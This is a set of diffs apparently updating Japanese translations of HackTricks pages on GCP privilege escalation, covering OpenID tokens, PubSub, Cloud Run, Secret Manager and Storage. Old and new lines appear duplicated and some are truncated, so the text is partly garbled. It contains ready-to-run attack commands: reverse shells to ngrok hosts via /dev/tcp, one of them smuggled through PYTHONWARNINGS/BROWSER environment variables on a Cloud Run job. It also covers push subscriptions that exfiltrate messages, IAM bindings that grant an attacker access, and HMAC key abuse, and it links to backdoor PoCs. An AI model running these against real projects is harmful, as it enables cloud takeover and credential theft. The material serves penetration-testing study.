この [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) によれば、audience(トークンを使って認証したいサービス)を指定する必要があり、google によって署名された JWT が返され、その JWT に service account と audience が示されます。
この[**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)によれば、audience(トークンを使って認証したいサービス)を指定する必要があり、google によって署名された JWT が返され、その JWT に service account と audience が示されます。
You can generate an OpenIDToken (if you have the access) with:
<details><summary>service account の OpenID トークンを生成する</summary>
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
</details>
その後、それを使ってサービスにアクセスできます:
<details><summary>OpenID tokenを使って認証する</summary>
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
</details>
この種のトークンを使った認証をサポートするサービスには、次のものがあります:
この種のトークンによる認証をサポートするサービスには、次のものがあります:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (Google OIDC を使用している場合)
サービスアカウントに代わって OpenID token を作成する方法の例は[**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で確認できます。
サービスアカウントに代わって OpenID トークンを作成する方法の例は[**こちら**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py)で確認できます。
## 参考文献
## 参考
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -4,34 +4,67 @@
## PubSub
詳細情報は以下を参照してください:
詳細は次を参照:
{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}
### `pubsub.snapshots.create`
トピックのスナップショットは**現在の未確認メッセージとその後のすべてのメッセージを含みます**。トピックのスナップショットを作成することで、**すべてのメッセージにアクセスでき、**トピックに直接アクセスすることを回避できます。
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
トピックのスナップショットは、**現在の unACKed メッセージとそれ以降のすべてのメッセージを含みます**。トピックのスナップショットを作成することで、**すべてのメッセージにアクセス**でき、**トピックに直接アクセスする必要を回避**できます。
```bash
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
```
### **`pubsub.snapshots.setIamPolicy`**
前の権限を自分に割り当てます
の権限を自分に割り当て
### `pubsub.subscriptions.create`
受信したすべてのメッセージを指定されたURLに送信するプッシュサブスクリプションをトピックに作成できます
指定した URL に受信したメッセージをすべて送信する push サブスクリプションをトピックに作成でき
### **`pubsub.subscriptions.update`**
メッセージを盗むために自分のURLをプッシュエンドポイントとして設定します
自分の URL を push エンドポイントとして設定し、メッセージを盗む
### `pubsub.subscriptions.consume`
サブスクリプションを使用してメッセージにアクセスします。
サブスクリプションを使てメッセージにアクセスす
```bash
gcloud pubsub subscriptions pull <SUSCRIPTION> \
--limit=50 \
--format="json" \
--project=<PROJECTID>
```
### `pubsub.subscriptions.setIamPolicy`
以前の権限のいずれかを自分に与えます。
任意の前述の権限を自分に付与する
```bash
# Add Binding
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Cloud Run
For more information about Cloud Run check:
Cloud Run の詳細については次を参照してください:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
@@ -12,18 +12,15 @@ For more information about Cloud Run check:
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
これらの権限を持つ攻撃者は、**任意のコードを実行する Cloud Run サービスを作成る**(任意の Docker コンテナ)、Service Account をアタッチし、コードに **metadata から Service Account トークンを exfiltrate させる** ことができます。
これらの権限を持つ攻撃者は、**Cloud Run サービスを作成して任意のコードを実行させる**(任意の Docker コンテナ)、それにサービスアカウントを割り当て、コードに**メタデータからサービスアカウントのトークンを流出させる**ことができます。
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
注意: `gcloud run deploy` を単にサービスを作成する代わりに使用する場合、**`update` 権限が必要**になります。例は[**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh)を参照してください。
### `run.services.update` , `iam.serviceAccounts.actAs`
述の方法と同様ですが、サービスを更新するケースです:
<details>
<summary>Cloud Run サービスをデプロイして reverse shell を実行</summary>
のものと同様ですが、サービスを更新する場合:
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
</details>
### `run.services.setIamPolicy`
cloud Run に対して権限を自分に付与する。
cloud Run に対して自分に特権的な権限を付与する。
```bash
# Change policy
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
コマンドで指定た service account を奪取するために、reverse shell を仕込んだ job を起動する。詳細は[**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)を参照してください。
<details>
<summary>reverse shell を仕込んだ Cloud Run job を作成する</summary>
リバースシェルを用いてジョブを起動し、コマンドで指定された service account を奪取します。詳細は[**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh)を参照してください。
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
</details>
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
前のものと同様に、**ジョブSA を更新**、**コマンド**を設定して**実行**することができます:
<details>
<summary>Cloud Run ジョブを更新して reverse shell で実行</summary>
前のと同様に、**ジョブを更新してSAを更新**、**コマンド**を**実行する**ことが可能です:
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
</details>
### `run.jobs.setIamPolicy`
前述の権限を自分に付与して、Cloud Jobs に対する操作権限を得ます
Cloud Jobs に対して前述の権限を自分に付与する
```bash
# Change policy
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
ジョブ実行時の env variables を悪用して任意のコードを実行し、reverse shell を取得してコンテナsource codeの内容をダンプし、metadata 内の SA にアクセスします:
<details>
<summary>Cloud Run ジョブを実行(environment variable exploitation</summary>
ジョブ実行のenv変数を悪用して任意のコードを実行し、reverse shellを取得してcontainerの内容source code)をダンプし、metadata内のSAにアクセスす:
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
</details>
## 参考資料
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -4,7 +4,7 @@
## secretmanager
secretmanager の詳細については:
secretmanager に関する詳細情報:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,16 +12,16 @@ secretmanager の詳細については:
### `secretmanager.versions.access`
これは secret manager からシークレットを読み取る権限を与えます。格納されている情報によっては、これが権限昇格に役立つ可能性があります
これは secret manager からシークレットを読み取るアクセス権を与え、格納されている情報によっては権限昇格に役立つ可能性があります:
<details><summary>クリアテキストのシークレットバージョンを取得</summary>
<details><summary>シークレットの平文バージョンを取得する</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
これは post exploitation technique でもあるため、以下で見つけられます:
これはまた post exploitation technique でもあるため、以下で見つけることができます:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -29,14 +29,20 @@ gcloud secrets versions access 1 --secret="<secret_name>"
### `secretmanager.secrets.setIamPolicy`
これにより secret manager からシークレットを読み取るアクセス権を付与できます。例えば次のように使用します:
これにより secret manager からシークレットを読み取るアクセスが得られます。例えば次のように使用します:
<details><summary>シークレットにIAMポリシーバインディングを追加</summary>
<details><summary>Add IAM policy binding to secret</summary>
```bash
gcloud secrets add-iam-policy-binding <scret-name> \
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
またはポリシーを取り消すには:
```bash
gcloud secrets remove-iam-policy-binding <secret-name> \
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Storage
## ストレージ
Basic Information:
基本情報:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,28 +12,82 @@ Basic Information:
### `storage.objects.get`
この権限を持つと、**Cloud Storageに保存されているファイルをダウンロード**できます。場合によってはそこに**sensitive informationが保存されている**ことがあり、結果としてprivilege escalationが可能になることがあります。さらに、いくつかのGCPサービスは情報をバケットに保存します:
この権限により、**Cloud Storageに保存されファイルをダウンロード**できます。場合によっては**機密情報がそこに保存されている**ことがあるため、権限昇格につながる可能性があります。さらに、一部のGCPサービスは情報をバケットに保存します:
- **GCP Composer**: Composer Environmentを作成すると、**code of all the DAGs**が**bucket**に保存されます。これらのタスクのコードに興味深い情報が含まれている可能性があります。
- **GCR (Container Registry)**: コンテナの**image**は**buckets**内に保存されるため、バケットを読み取れるとイメージをダウンロードして**search for leaks and/or source code**が可能になります。
- **GCP Composer**: Composer Environmentを作成すると、**すべてのDAGのコード**が**バケット**に保存されます。これらのタスクのコードに興味深い情報が含まれている場合があります。
- **GCR (Container Registry)**: コンテナの**image**は**バケット**に格納されているため、バケットを読み取れるとイメージをダウンロードして**leaks**やソースコードを検索できます。
### `storage.objects.setIamPolicy`
この権限があれば、このセクションに記載した以前のシナリオを**abuse any of the previous scenarios of this section**できます。
この権限、このセクションで述べた前述のシナリオのいずれかを**悪用する**ことを可能にします。
```bash
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
### **`storage.buckets.setIamPolicy`**
この権限でどのように権限を変更するの例については、のページを参照してください:
この権限を使って権限を変更する方法の例については、こちらのページを参照してください
```bash
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
{{#endref}}
### `storage.hmacKeys.create`
Cloud Storageの「interoperability機能は、AWS S3のような**cross-cloud interactions**向けに設計されており、**Service Accounts and usersのためのHMAC keysのcreation**を伴います。攻撃者はこれを悪用して、権限の高いService AccountのためHMAC keyを**生成する**ことで、Cloud Storage内で**escalating privileges within Cloud Storage**を行うことができます。ユーザーに紐づくHMAC keysはウェブコンソール経由でのみ取得可能ですが、accessおよびsecret keysは**perpetually accessible**な状態で残るため、バックアップとしてアクセス情報を保存できる可能性があります。一方で、Service Accountに紐づくHMAC keysAPI経由で操作できますが、作成後はaccessおよびsecret keys取得できないため、継続的なアクセス確保はより複雑になります。
<details><summary>Create and use HMAC key for privilege escalation</summary>
Cloud Storage の "interoperability" 機能は、AWS S3 のような **クロスクラウド間の相互操作** を目的としており、**Service Accounts users のための HMAC keys の作成**を含みます。攻撃者はこれを悪用して、**権限の高い Service Account のためHMAC key を生成する**ことで、**Cloud Storage 内で権限をエスカレーション**できます。ユーザーに紐づく HMAC keys は web console 経由でのみ取得可能ですが、accesssecret keys**恒久的にアクセス可能** であり、バックアップ目的での保存に利用される可能性があります。これに対して Service Account に紐づく HMAC keysAPI 経由で操作できますが、その accesssecret keys は作成後に取得できないため、継続的なアクセス確保はより複雑になります。
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
</details>
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
バケット内に新しいオブジェクトを**作成する**には `storage.objects.create` が必要で、また既存オブジェクトを**修正する**には [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions) によれば `storage.objects.delete` も必要です
バケット内に**新しいオブジェクトを作成する**には `storage.objects.create` が必要で、既存オブジェクトを**変更する**にはドキュメントによれば `storage.objects.delete` も必要です(参照: [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions)
クラウド上で書き込み可能なバケットに対する非常に**一般的な悪用**方法は、そのバケットが**Webサーバのファイルを保存している**場合です。攻撃者はそこに**新しいコードを置き、Webアプリケーションに利用させる**ことが可能になるかもしれません
バケットに書き込み権限がある場合の非常に**一般的な悪用**は、**バケットがウェブサーバのファイルを保存している**ケースです。ここに**新しいコードを置く**ことで、ウェブアプリケーションからそのコードが利用され得ます
### Composer
**Composer** は GCP 上で管理される **Apache Airflow** です。以下のような興味深い特徴があります
**Composer** は GCP 上で管理される **Apache Airflow** です。以下の興味深い特徴があります:
- **GKE cluster** 内で動作するため、クラスタが使用する **SA** Composer 内で実行されるコードから**アクセス可能**で
- composer 環境の全コンポーネント(**DAGs のコード**, プラグイン, データ)は GCP バケットに保存されます。攻撃者がそのバケットに対して読み書き権限を持っている場合、バケットを監視して **DAG が作成または更新されるたびに backdoored バージョンを提出する**ことでcomposer 環境が storage から backdoored バージョンを取得するようにできます。
- **GKE cluster** 内で動作するため、クラスタが使 **SA** Composer 内で動くコードから**アクセス可能**である
- composer 環境の全コンポーネント(**DAGs のコード**プラグインデータ)は GCP バケットに保存されます。攻撃者がそのバケットに対して読み書き権限を持っていれば、バケットを監視して**DAG が作成または更新されるたびに、バックドア入りのバージョンを差し替える**ことで composer 環境がストレージからバックドア版を取得するようにできます。
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
**この攻撃の PoC はリポジトリにあります:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
- Cloud Functions のコードは Storage に保存され、新しいバージョンが作成されるとコードがバケットにプッシュされ、そのコードから新しいコンテナがビルドされます。したがって、**新しいバージョンがビルドされる前にコードを上書きすることで、cloud function に任意コードを実行させることが可能**です。
- Cloud Functions のコードは Storage に保存され、新しいバージョンが作れるとコードがバケットにプッシュされ、そのコードから新しいコンテナがビルドされます。したがって、**新しいバージョンがビルドされる前にコードを上書きすれば、Cloud Function に任意コードを実行させることが可能**です。
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
**この攻撃の PoC はリポジトリにあります:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
AppEngine のバージョンは `staging.<project-id>.appspot.com` という形式のバケット内にいくつかのデータを生成します。このバケットの中には `ae` というフォルダがあり、AppEngine アプリの各バージョンごとのフォルダが格納されています。これらのフォルダの中には `manifest.json` ファイルが見つかります。このファイルは特定バージョンを作成するために使われるすべてのファイルを含む JSON です。さらに、**ファイルの実際の名前、GCP バケット内での URL(バケット内のファイルは sha1 ハッシュに変更されている)および各ファイルの sha1 ハッシュ** を確認できます。
AppEngine のバージョンは `staging.<project-id>.appspot.com` という形式のバケット内にいくつかのデータを生成します。このバケットには `ae` というフォルダがあり、AppEngine アプリの各バージョンごとのフォルダが格納され、それらのフォルダ内に `manifest.json` ファイルが存在します。このファイルは特定バージョンを作成するために使われるファイル JSON が入っており、ファイルの実、GCP バケット内での URL(バケット内のファイルは sha1 ハッシュに変わっている)および各ファイルの sha1 ハッシュが含まれます。
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
_注意: GCP ユーザは appspot.com ドメイン名を使ってバケットを生成する権限がないため、このバケットを事前に作成しておくことはできません。_
しかし、このバケットに対して読み書きアクセスを持っていれば、バケットを監視し、変更(新しいバージョン)が行われた際に可能な限り速く新しいバージョンを改変することで、当該 App Engine バージョンに紐づく SA への権限昇格が可能になります。こうしてそのコードから作成されコンテナは backdoored コードを実行します。
しかし、このバケットに対する読み書きアクセスがある場合、`staging.<project-id>.appspot.com` バケットを監視し新しいバージョンが作られるたびに可能な限り素早くその新バージョンを改変することで、当該バージョンに紐づく SA への権限昇格が可能になります。こうして成されコンテナはバックドア入りのコードを実行します。
前述の攻撃は多様な方法で実行可能で、いずれも `staging.<project-id>.appspot.com` バケット監視から始まります
の攻撃は多様な方法で実施できます。いずれも `staging.<project-id>.appspot.com` バケット監視することから始まります:
- AppEngine バージョンの完全な新しいコードを別の利用可能なバケットにアップロードし、**新しいバケット名とそのファイルの sha1 ハッシュを含む `manifest.json` ファイルを準備**します。新しいバージョンがオリジナルのバケットに作成されたとき`manifest.json` を差し替えて悪意あるものをアップロードすればよい
- 変更した `requirements.txt` をアップロードして、**悪意ある依存ライブラリを使うようにし、`manifest.json` 新しいファイル名、URL、ハッシュで更新**する。
- **`main.py` または `app.yaml` を改変して悪意あるコードを実行させ、`manifest.json` を新しいファイル名、URL、ハッシュで更新**する。
- AppEngine バージョンの完全な新コードを別の利用可能なバケットにアップロードし、新しいバケット名とファイルの sha1 ハッシュを含む **`manifest.json`** を準備する。バケット内で新バージョンが作成された`manifest.json` を差し替えて悪意あるものをアップロードするだけです
- 変更した `requirements.txt` をアップロードして、**悪意ある依存ライブラリのコードを利用**し、`manifest.json` 新しいファイル名、URL、ハッシュを反映させる。
- `main.py` `app.yaml` を改変して**悪意あるコードを実行させる**ようにし`manifest.json` を新しいファイル名、URL、ハッシュで更新する。
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
**この攻撃の PoC はリポジトリにあります:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
- **Google Container Registry** はイメージをバケット内に保存します。これらのバケットに**書き込みできれば**、それらのバケットが実行されている場所へ**ラテラルムーブ(横展開)**できる可能性があります。
- GCR が使用するバケットは `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` のような URL になります(トップレベルのサブドメインは [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling) に記載されています)。
- **Google Container Registry** はイメージをバケット内に保存します。もしこれらのバケットに**書き込み**できれば、後にそれらが実行される場所へ **横移動** できる可能性があります。
- GCR が使用するバケットの URL `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` のようになります(トップレベルのサブドメインは [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling) で指定されています)。
> [!TIP]
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
> このサービスは deprecated されているため、この攻撃は現在はあまり有用ではありません。さらに、このサービスの代替である Artifact Registry はイメージをバケットに保存しません。
## **References**